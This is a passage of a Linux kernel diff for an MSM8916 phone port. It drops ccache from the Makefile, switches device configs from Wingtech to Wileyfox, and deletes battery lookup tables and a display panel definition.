delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/mt9m114.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov12830.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov2720.c delete mode 100755 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5645.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5648.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov7695.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8825.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8865.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov9724.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k3l1yx.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k4e1.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/sp1628.c create mode 100644 drivers/platform/wileyfox/Kconfig delete mode 100644 drivers/platform/wingtech/Kconfig diff --git a/Makefile b/Makefile index 20943ed291b4d..7df777b67221b 100644 --- a/Makefile +++ b/Makefile @@ -158,8 +158,6 @@ VPATH := $(srctree)$(if $(KBUILD_EXTMOD),:$(KBUILD_EXTMOD)) export srctree objtree VPATH -CCACHE := ccache - # SUBARCH tells the usermode build what the underlying arch is. That is set # first, and if a usermode build is happening, the "ARCH=um" on the command # line overrides the setting of ARCH below. If a native build is happening, @@ -194,7 +192,7 @@ SUBARCH := $(shell uname -m | sed -e s/i.86/x86/ -e s/x86_64/x86/ \ # Default value for CROSS_COMPILE is not to prefix executables # Note: Some architectures assign CROSS_COMPILE in their arch/*/Makefile ARCH ?= $(SUBARCH) -CROSS_COMPILE ?= $(CCACHE) $(CONFIG_CROSS_COMPILE:"%"=%) +CROSS_COMPILE ?= $(CONFIG_CROSS_COMPILE:"%"=%) # Architecture as present in compile.h UTS_MACHINE := $(ARCH) @@ -240,8 +238,8 @@ CONFIG_SHELL := $(shell if [ -x "$$BASH" ]; then echo $$BASH; \ else if [ -x /bin/bash ]; then echo /bin/bash; \ else echo sh; fi ; fi) -HOSTCC = $(CCACHE) gcc -HOSTCXX = $(CCACHE) g++ +HOSTCC = gcc +HOSTCXX = g++ HOSTCFLAGS = -Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer -std=gnu89 HOSTCXXFLAGS = -O2 @@ -327,7 +325,7 @@ include $(srctree)/scripts/Kbuild.include AS = $(CROSS_COMPILE)as LD = $(CROSS_COMPILE)ld -CC = $(CCACHE) $(CROSS_COMPILE)gcc +CC = $(CROSS_COMPILE)gcc CPP = $(CC) -E AR = $(CROSS_COMPILE)ar NM = $(CROSS_COMPILE)nm diff --git a/arch/arm/boot/dts/qcom/Makefile b/arch/arm/boot/dts/qcom/Makefile index 43ad882a9acf9..1eac31678a8e0 100644 --- a/arch/arm/boot/dts/qcom/Makefile +++ b/arch/arm/boot/dts/qcom/Makefile @@ -82,13 +82,11 @@ ifeq ($(CONFIG_MACH_CKT_MSM8939),y) dtb-$(CONFIG_ARCH_MSM8916) += msm8939-spirit.dtb else ifeq ($(CONFIG_MACH_HAIER_MSM8916),y) dtb-$(CONFIG_ARCH_MSM8916) += msm8916-g36c1h.dtb -else ifeq ($(CONFIG_MACH_LONGCHEER_MSM8916),y) -dtb-$(CONFIG_ARCH_MSM8916) += msm8916-qrd-l8150.dtb else ifeq ($(CONFIG_MACH_HUAQIN_MSM8916),y) dtb-$(CONFIG_ARCH_MSM8916) += msm8916-ql790.dtb -else ifeq ($(CONFIG_MACH_WINGTECH_MSM8916),y) -ifeq ($(CONFIG_MACH_WT88047),y) -dtb-$(CONFIG_ARCH_MSM8916) += msm8916-wt88047.dtb +else ifeq ($(CONFIG_MACH_WILEYFOX_MSM8916),y) +ifeq ($(CONFIG_MACH_CRACKLING),y) +dtb-$(CONFIG_ARCH_MSM8916) += msm8916-crackling.dtb else ifeq ($(CONFIG_MACH_T86519A1),y) dtb-$(CONFIG_ARCH_MSM8916) += msm8916-t86519a1.dtb endif diff --git a/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-BB.dtsi b/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-BB.dtsi deleted file mode 100644 index 3d3a14dbced9e..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-BB.dtsi +++ /dev/null @@ -1,114 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/* manufacturer is ±È¿Ëµç³Ø */ - -qcom,CPLD-312-BB-data { - qcom,fcc-mah = <2500>; - qcom,default-rbatt-mohm = <221>; - qcom,rbatt-capacitive-mohm = <0>; - qcom,flat-ocv-threshold-uv = <3800000>; - qcom,max-voltage-uv = <4350000>; - qcom,v-cutoff-uv = <3400000>; - qcom,chg-term-ua = <100000>; - qcom,batt-id-kohm = <47>; - qcom,battery-type = "CPLD-312-BB"; - - qcom,rbatt-sf-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 16 13 11>, - <10 9 8 7 6>, - <5 4 3 2 1>, - <0>; - qcom,lut-data = <655 191 100 92 88>, - <836 204 102 93 88>, - <819 203 101 93 88>, - <815 210 104 94 89>, - <752 220 107 96 90>, - <725 205 109 98 91>, - <717 197 113 100 94>, - <713 193 112 102 95>, - <717 191 105 96 91>, - <730 192 102 93 89>, - <751 194 101 93 90>, - <781 198 103 94 90>, - <821 206 104 96 92>, - <874 219 104 96 93>, - <943 236 104 94 90>, - <1030 262 103 93 89>, - <1145 307 104 93 89>, - <1338 376 104 94 90>, - <1657 445 103 94 90>, - <1925 505 107 95 91>, - <2114 535 109 97 92>, - <2320 565 112 99 93>, - <2549 595 114 100 94>, - <2819 593 115 100 94>, - <3038 604 113 98 91>, - <3294 607 111 97 92>, - <3809 623 114 99 93>, - <4900 681 120 102 96>, - <7216 794 130 108 101>, - <13329 1548 162 128 113>, - <24329 22630 9610 8180 1644>; - }; - - qcom,fcc-temp-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-data = <2578 2580 2590 2584 2573>; - }; - - qcom,pc-temp-ocv-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 16 13 11>, - <10 9 8 7 6>, - <5 4 3 2 1>, - <0>; - qcom,lut-data = <4295 4287 4293 4289 4285>, - <4208 4216 4229 4228 4224>, - <4129 4156 4173 4173 4169>, - <4075 4103 4120 4120 4117>, - <3991 4050 4072 4070 4067>, - <3933 3982 4021 4022 4021>, - <3891 3933 3978 3980 3978>, - <3853 3894 3933 3936 3935>, - <3824 3859 3888 3889 3889>, - <3802 3830 3853 3854 3854>, - <3785 3807 3827 3828 3827>, - <3770 3790 3806 3807 3806>, - <3756 3778 3788 3789 3788>, - <3741 3769 3774 3773 3770>, - <3725 3757 3760 3755 3747>, - <3707 3738 3744 3736 3724>, - <3684 3712 3723 3715 3703>, - <3660 3694 3701 3693 3682>, - <3634 3680 3683 3677 3667>, - <3612 3671 3679 3673 3663>, - <3596 3663 3677 3671 3662>, - <3580 3654 3674 3669 3659>, - <3560 3644 3670 3665 3655>, - <3536 3626 3662 3657 3646>, - <3508 3600 3642 3635 3621>, - <3475 3565 3605 3598 3582>, - <3430 3519 3556 3549 3533>, - <3370 3457 3494 3487 3471>, - <3288 3374 3412 3405 3390>, - <3182 3255 3289 3279 3266>, - <3000 3000 3000 3000 3000>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-CC.dtsi b/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-CC.dtsi deleted file mode 100644 index 51c7239b49278..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-CC.dtsi +++ /dev/null @@ -1,108 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/* manufacturer is ¹âÓî */ - -qcom,CPLD-312-CC-data { - qcom,fcc-mah = <2500>; - qcom,default-rbatt-mohm = <189>; - qcom,rbatt-capacitive-mohm = <0>; - qcom,flat-ocv-threshold-uv = <3800000>; - qcom,max-voltage-uv = <4350000>; - qcom,v-cutoff-uv = <3400000>; - qcom,chg-term-ua = <100000>; - qcom,batt-id-kohm = <1>; - qcom,battery-type = "CPLD-312-CC"; - - qcom,rbatt-sf-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 15 10 9>, - <8 7 6 5 4>, - <3 2 1 0>; - qcom,lut-data = <1132 292 100 81 77>, - <1129 293 100 81 77>, - <1021 300 100 82 78>, - <958 300 102 83 78>, - <915 305 104 84 79>, - <826 303 110 87 81>, - <811 270 110 89 83>, - <801 277 108 91 83>, - <802 275 99 84 79>, - <819 276 98 82 78>, - <841 280 98 82 79>, - <867 293 99 83 79>, - <894 311 101 84 80>, - <923 333 102 85 81>, - <959 359 100 83 79>, - <1001 389 100 82 78>, - <1054 426 101 83 79>, - <1132 492 102 83 79>, - <1107 496 103 84 81>, - <1152 513 105 86 83>, - <1201 534 106 87 83>, - <1264 556 107 87 80>, - <1367 586 106 86 81>, - <1595 625 107 86 82>, - <1925 683 109 87 84>, - <2422 771 114 89 88>, - <3339 902 122 95 110>, - <6239 1385 148 112 2788>, - <68439 37753 18795 40357 35346>; - }; - - qcom,fcc-temp-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-data = <2578 2580 2590 2584 2573>; - }; - - qcom,pc-temp-ocv-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 15 10 9>, - <8 7 6 5 4>, - <3 2 1 0>; - qcom,lut-data = <4331 4325 4319 4324 4314>, - <4226 4252 4257 4262 4256>, - <4156 4193 4201 4205 4200>, - <4103 4138 4146 4150 4144>, - <4052 4088 4094 4097 4091>, - <3962 4031 4050 4048 4041>, - <3913 3952 3983 3996 3994>, - <3871 3915 3942 3951 3947>, - <3838 3880 3897 3901 3898>, - <3816 3847 3864 3865 3863>, - <3800 3819 3837 3838 3836>, - <3784 3800 3815 3816 3813>, - <3770 3784 3797 3797 3794>, - <3755 3770 3779 3780 3774>, - <3740 3757 3762 3759 3747>, - <3723 3741 3746 3739 3724>, - <3702 3721 3728 3720 3704>, - <3673 3703 3705 3696 3682>, - <3633 3683 3686 3679 3666>, - <3620 3676 3684 3677 3663>, - <3607 3666 3680 3674 3656>, - <3589 3650 3671 3667 3633>, - <3567 3629 3649 3647 3599>, - <3540 3598 3612 3611 3555>, - <3507 3558 3566 3566 3499>, - <3463 3504 3508 3508 3426>, - <3399 3426 3430 3430 3325>, - <3289 3300 3313 3312 3190>, - <3000 3000 3000 3000 3000>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-LS.dtsi b/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-LS.dtsi deleted file mode 100644 index a2a9fb193987b..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-LS.dtsi +++ /dev/null @@ -1,114 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/* manufacturer is Ìì½òÁ¦Éñµç³Ø¹É·ÝÓÐÏÞ¹«Ë¾ */ - -qcom,CPLD-312-LS-data { - qcom,fcc-mah = <2500>; - qcom,default-rbatt-mohm = <221>; - qcom,rbatt-capacitive-mohm = <0>; - qcom,flat-ocv-threshold-uv = <3800000>; - qcom,max-voltage-uv = <4350000>; - qcom,v-cutoff-uv = <3400000>; - qcom,chg-term-ua = <100000>; - qcom,batt-id-kohm = <220>; - qcom,battery-type = "CPLD-312-LS"; - - qcom,rbatt-sf-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 16 13 11>, - <10 9 8 7 6>, - <5 4 3 2 1>, - <0>; - qcom,lut-data = <690 289 100 81 74>, - <689 288 100 80 74>, - <657 280 101 82 75>, - <626 272 103 84 76>, - <621 266 104 86 77>, - <578 261 108 89 78>, - <562 245 112 91 80>, - <564 243 117 96 83>, - <561 247 109 93 85>, - <567 255 104 84 80>, - <592 268 107 83 76>, - <628 289 111 85 77>, - <672 317 116 88 79>, - <719 349 121 90 81>, - <763 386 128 90 80>, - <811 433 135 89 78>, - <867 485 143 89 78>, - <922 520 152 91 78>, - <940 566 161 90 78>, - <965 620 167 92 78>, - <1002 651 173 94 80>, - <1046 688 180 96 80>, - <1096 728 190 99 82>, - <1190 772 198 100 83>, - <1384 820 207 100 83>, - <1707 871 214 100 81>, - <2193 948 228 103 83>, - <3022 1109 249 109 85>, - <4621 1409 278 123 95>, - <11415 2907 471 217 152>, - <69815 17735 15567 14532 14463>; - }; - - qcom,fcc-temp-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-data = <2578 2580 2590 2584 2573>; - }; - - qcom,pc-temp-ocv-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 16 13 11>, - <10 9 8 7 6>, - <5 4 3 2 1>, - <0>; - qcom,lut-data = <4317 4350 4296 4339 4335>, - <4227 4267 4229 4279 4276>, - <4159 4204 4174 4223 4219>, - <4091 4146 4122 4168 4163>, - <4046 4091 4073 4114 4109>, - <3973 4036 4027 4064 4058>, - <3919 3972 3984 4016 4011>, - <3879 3926 3943 3972 3968>, - <3841 3886 3893 3923 3924>, - <3811 3852 3854 3877 3878>, - <3795 3824 3827 3845 3843>, - <3781 3803 3806 3821 3818>, - <3767 3789 3788 3799 3798>, - <3753 3776 3774 3781 3780>, - <3739 3762 3763 3763 3760>, - <3725 3746 3748 3744 3735>, - <3708 3723 3725 3723 3713>, - <3691 3700 3698 3698 3689>, - <3676 3686 3678 3677 3668>, - <3663 3679 3673 3674 3664>, - <3654 3675 3671 3673 3663>, - <3643 3671 3669 3671 3661>, - <3630 3667 3666 3668 3660>, - <3613 3659 3660 3662 3655>, - <3592 3645 3647 3646 3643>, - <3564 3616 3614 3610 3608>, - <3528 3573 3565 3559 3558>, - <3476 3513 3500 3492 3493>, - <3394 3425 3414 3400 3406>, - <3257 3298 3290 3275 3278>, - <3000 3000 3000 3000 3000>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-MK.dtsi b/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-MK.dtsi deleted file mode 100644 index 437976045ec13..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-MK.dtsi +++ /dev/null @@ -1,114 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/* manufacturer is ¶«Ý¸ÊÐÂõ¿ÆÐÂÄÜÔ´ÓÐÏÞ¹«Ë¾ */ - -qcom,CPLD-312-MK-data { - qcom,fcc-mah = <2500>; - qcom,default-rbatt-mohm = <198>; - qcom,rbatt-capacitive-mohm = <0>; - qcom,flat-ocv-threshold-uv = <3800000>; - qcom,max-voltage-uv = <4350000>; - qcom,v-cutoff-uv = <3400000>; - qcom,chg-term-ua = <100000>; - qcom,batt-id-kohm = <100>; - qcom,battery-type = "CPLD-312-MK"; - - qcom,fcc-temp-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-data = <3030 3033 3037 3035 3031>; - }; - - qcom,rbatt-sf-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 16 13 11>, - <10 9 8 7 6>, - <5 4 3 2 1>, - <0>; - qcom,lut-data = <770 214 100 83 79>, - <769 214 100 83 79>, - <734 219 101 86 80>, - <698 221 103 80 81>, - <693 218 107 81 82>, - <645 217 111 83 84>, - <628 203 115 86 87>, - <630 196 115 91 89>, - <626 196 104 91 90>, - <633 195 96 80 83>, - <661 196 96 77 81>, - <701 196 98 79 82>, - <751 197 100 81 84>, - <802 205 102 83 87>, - <852 219 103 82 85>, - <906 237 102 80 82>, - <968 254 103 80 83>, - <1029 275 102 80 83>, - <1049 281 98 77 81>, - <1077 303 101 78 82>, - <1119 318 104 80 83>, - <1167 340 108 82 85>, - <1223 364 112 84 87>, - <1328 395 115 86 88>, - <1544 435 114 87 87>, - <1906 489 113 85 84>, - <2447 586 118 84 85>, - <3373 748 128 87 89>, - <5158 1006 157 94 97>, - <12741 5614 4390 120 145>, - <77925 45169 44470 19375 16302>; - }; - - qcom,pc-temp-ocv-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 16 13 11>, - <10 9 8 7 6>, - <5 4 3 2 1>, - <0>; - qcom,lut-data = <4317 4336 4329 4333 4328>, - <4227 4264 4264 4268 4263>, - <4159 4203 4206 4211 4206>, - <4091 4146 4150 4154 4151>, - <4046 4088 4098 4102 4098>, - <3973 4032 4049 4052 4048>, - <3919 3969 3998 4005 4003>, - <3879 3925 3953 3964 3961>, - <3841 3889 3904 3920 3918>, - <3811 3856 3865 3872 3871>, - <3795 3828 3836 3839 3839>, - <3781 3804 3813 3816 3815>, - <3767 3784 3794 3797 3796>, - <3753 3770 3778 3781 3779>, - <3739 3757 3764 3765 3758>, - <3725 3741 3749 3747 3734>, - <3708 3720 3730 3728 3714>, - <3691 3706 3704 3704 3690>, - <3676 3697 3685 3681 3669>, - <3663 3690 3680 3676 3665>, - <3654 3686 3679 3675 3664>, - <3643 3682 3677 3674 3662>, - <3630 3677 3674 3672 3660>, - <3613 3668 3667 3668 3656>, - <3592 3650 3647 3659 3642>, - <3564 3617 3606 3632 3607>, - <3528 3568 3549 3586 3556>, - <3476 3499 3474 3525 3493>, - <3394 3404 3370 3444 3408>, - <3257 3269 3246 3327 3281>, - <3000 3000 3000 3000 3000>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-TM.dtsi b/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-TM.dtsi deleted file mode 100644 index 13f0c929d7d13..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-TM.dtsi +++ /dev/null @@ -1,114 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/* manufacturer is ÖÐɽÌìóµç³ØÓÐÏÞ¹«Ë¾ */ - -qcom,CPLD-312-TM-data { - qcom,fcc-mah = <2500>; - qcom,default-rbatt-mohm = <177>; - qcom,rbatt-capacitive-mohm = <0>; - qcom,flat-ocv-threshold-uv = <3800000>; - qcom,max-voltage-uv = <4350000>; - qcom,v-cutoff-uv = <3400000>; - qcom,chg-term-ua = <100000>; - qcom,batt-id-kohm = <1000>; - qcom,battery-type = "CPLD-312-TM"; - - qcom,rbatt-sf-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 16 13 11>, - <10 9 8 7 6>, - <5 4 3 2 1>, - <0>; - qcom,lut-data = <1097 243 100 88 85>, - <1094 243 100 88 85>, - <1000 242 100 89 86>, - <949 244 101 89 87>, - <911 240 103 91 87>, - <832 253 110 94 88>, - <832 216 110 96 90>, - <829 216 116 98 93>, - <833 218 104 93 90>, - <848 216 98 88 87>, - <867 219 98 89 87>, - <890 223 100 89 88>, - <916 229 102 91 88>, - <949 238 103 93 90>, - <989 250 103 92 88>, - <1041 262 102 89 88>, - <1104 275 103 90 88>, - <1160 294 104 90 88>, - <1193 310 103 90 87>, - <1167 321 103 90 88>, - <1201 330 105 91 89>, - <1235 342 106 92 89>, - <1275 356 109 93 90>, - <1316 367 111 94 90>, - <1379 379 110 92 89>, - <1550 394 110 93 89>, - <1809 420 113 94 90>, - <2225 454 119 98 94>, - <3528 510 132 111 100>, - <22458 5145 1517 1750 512>, - <120201 56027 44417 65354 36303>; - }; - - qcom,fcc-temp-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-data = <2578 2580 2590 2584 2573>; - }; - - qcom,pc-temp-ocv-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 16 13 11>, - <10 9 8 7 6>, - <5 4 3 2 1>, - <0>; - qcom,lut-data = <4325 4328 4323 4317 4313>, - <4222 4253 4258 4255 4252>, - <4148 4195 4202 4199 4196>, - <4096 4142 4147 4145 4142>, - <4040 4090 4095 4092 4091>, - <3950 4043 4051 4045 4042>, - <3911 3960 3989 3994 3997>, - <3874 3922 3952 3954 3955>, - <3841 3890 3904 3906 3907>, - <3817 3857 3866 3866 3866>, - <3799 3830 3839 3839 3839>, - <3783 3806 3816 3816 3816>, - <3769 3787 3797 3798 3797>, - <3756 3772 3781 3781 3779>, - <3741 3759 3765 3762 3755>, - <3725 3744 3749 3741 3729>, - <3705 3725 3731 3721 3709>, - <3684 3711 3711 3702 3690>, - <3664 3702 3693 3684 3672>, - <3647 3696 3688 3680 3669>, - <3636 3692 3686 3679 3667>, - <3622 3687 3684 3677 3665>, - <3607 3679 3681 3673 3662>, - <3588 3665 3673 3664 3652>, - <3566 3644 3652 3641 3626>, - <3536 3611 3613 3601 3587>, - <3499 3568 3562 3549 3537>, - <3447 3508 3496 3483 3472>, - <3364 3419 3405 3392 3382>, - <3201 3253 3234 3218 3220>, - <3000 3000 3000 3000 3000>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/dsi-panel-hx8394a-lide-lg-hd-550-video.dtsi b/arch/arm/boot/dts/qcom/cp8675/dsi-panel-hx8394a-lide-lg-hd-550-video.dtsi deleted file mode 100644 index 5cce76d190994..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/dsi-panel-hx8394a-lide-lg-hd-550-video.dtsi +++ /dev/null @@ -1,152 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_hx8394a_lide_lg_hd: qcom,mdss_dsi_hx8394a_lide_lg_hd_video { - qcom,cont-splash-enabled; - qcom,mdss-dsi-panel-name = "LCD_TYPE_HX8394A_LIDE_LG_HD_550"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <55>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-dsi-h-front-porch = <86>; - qcom,mdss-dsi-h-back-porch = <100>; - qcom,mdss-dsi-h-pulse-width = <10>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <9>; - qcom,mdss-dsi-v-front-porch = <2>; - qcom,mdss-dsi-v-pulse-width = <2>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-pixel-packing = <0>; - qcom,mdss-dsi-on-command = [ - 39 01 00 00 00 00 04 B9 FF 83 94 - 39 01 00 00 02 00 11 BA 13 02 00 16 C5 40 10 ff 0f 04 03 21 24 25 20 08 - 39 01 00 00 00 00 11 B1 01 00 04 86 01 11 11 31 39 29 29 47 02 01 E6 E2 - 39 01 00 00 00 00 17 B4 80 09 32 10 00 32 15 08 32 10 08 33 04 43 04 37 04 43 06 61 61 06 - 39 01 00 00 00 00 07 B2 00 C8 09 00 00 33 - 39 01 00 00 00 00 37 D5 00 00 00 00 0A 00 01 00 CC 00 00 00 88 88 88 88 99 88 88 88 AA BB 23 01 67 45 01 23 88 88 88 88 88 88 88 88 88 99 88 88 BB AA 54 76 10 32 32 10 88 88 88 88 3C 01 - 39 01 00 00 00 00 05 C7 00 10 00 10 - 39 01 00 00 00 00 02 CC 09 - 39 01 00 00 00 00 02 BC 07 - 39 01 00 00 00 00 03 C0 0C 17 - 39 01 00 00 00 00 80 C1 01 00 0A 16 1B 27 2E 35 3F 45 4F 56 60 66 6C 76 7C 82 8A 92 9C A4 A9 B2 BB C0 C8 CE D8 DE E7 F2 F9 FF 7A E7 D4 72 46 74 94 E1 C0 00 0A 16 1B 27 2E 35 3F 45 4F 56 60 66 6C 76 7C 82 8A 92 9C A4 A9 B2 BB C0 C8 CE D8 DE E7 F2 F9 FF 7A E7 D4 72 46 74 94 E1 C0 00 0A 16 1B 27 2E 35 3F 45 4F 56 60 66 6C 76 7C 82 8A 92 9C A4 A9 B2 BB C0 C8 CE D8 DE E7 F2 F9 FF 7A E7 D4 72 46 74 94 E1 C0 - 39 01 00 00 00 00 05 BF 06 00 10 04 - 39 01 00 00 00 00 02 B6 06 - 39 01 00 00 00 00 2B E0 01 12 18 3F 3F 3F 21 3F 06 0C 0D 10 12 10 12 0D 19 01 12 18 3F 3F 3F 21 3F 06 0C 0D 10 12 10 12 0D 19 0A 17 06 0E 0A 17 06 0E - 39 01 00 00 01 00 0C C9 0F 00 1E 1E 00 00 00 01 3E 00 00 - 39 01 00 00 00 00 02 51 00 - 39 01 00 00 00 00 02 53 24 - 39 01 00 00 00 00 02 B9 00 - 05 01 00 00 01 00 02 11 00 - 39 01 00 00 00 00 04 B9 FF 83 94 - 39 01 00 00 01 00 0A CA 2C 2C 2C 2B 2B 2B 2A 2A 20 - ]; - qcom,mdss-dsi-off-command = [ - 05 01 00 00 14 00 02 28 00 - 05 01 00 00 78 00 02 10 00 - ]; - cm,mdss-livedisplay-cabc-cmd = [ - 39 01 00 00 00 00 02 55 00 - ]; - cm,mdss-livedisplay-cabc-ui-value = <0x01>; - cm,mdss-livedisplay-cabc-image-value = <0x2>; - cm,mdss-livedisplay-cabc-video-value = <0x3>; - cm,mdss-livedisplay-color-enhance-on = [ - 39 01 00 00 00 00 04 B9 FF 83 94 - 39 01 00 00 00 00 02 E4 11 - 39 01 00 00 00 00 02 B9 00 - ]; - cm,mdss-livedisplay-color-enhance-off = [ - 39 01 00 00 00 00 04 B9 FF 83 94 - 39 01 00 00 00 00 02 E4 00 - 39 01 00 00 00 00 02 B9 00 - ]; - cm,mdss-livedisplay-post-cmd = [ - 05 01 00 00 10 00 02 29 00 - ]; - qcom,panel-backlight-response-curve = [ - 00 01 02 03 04 05 06 07 - 07 07 07 09 0A 0A 0B 0B - 0C 0C 0D 0D 0E 0E 0F 0F - 0F 0F 0F 10 10 10 10 11 - 11 11 11 12 12 12 12 13 - 13 13 13 14 14 14 15 15 - 15 16 16 16 17 18 18 19 - 1A 1B 1B 1C 1D 1D 1E 1F - 21 21 21 22 23 23 24 25 - 26 26 27 27 28 28 29 29 - 2A 2A 2B 2B 2C 2C 2D 2D - 2E 2E 2F 2F 30 30 31 31 - 31 32 32 33 33 33 34 34 - 34 35 37 38 3A 3B 3D 3E - 3F 40 41 42 43 44 45 46 - 47 48 49 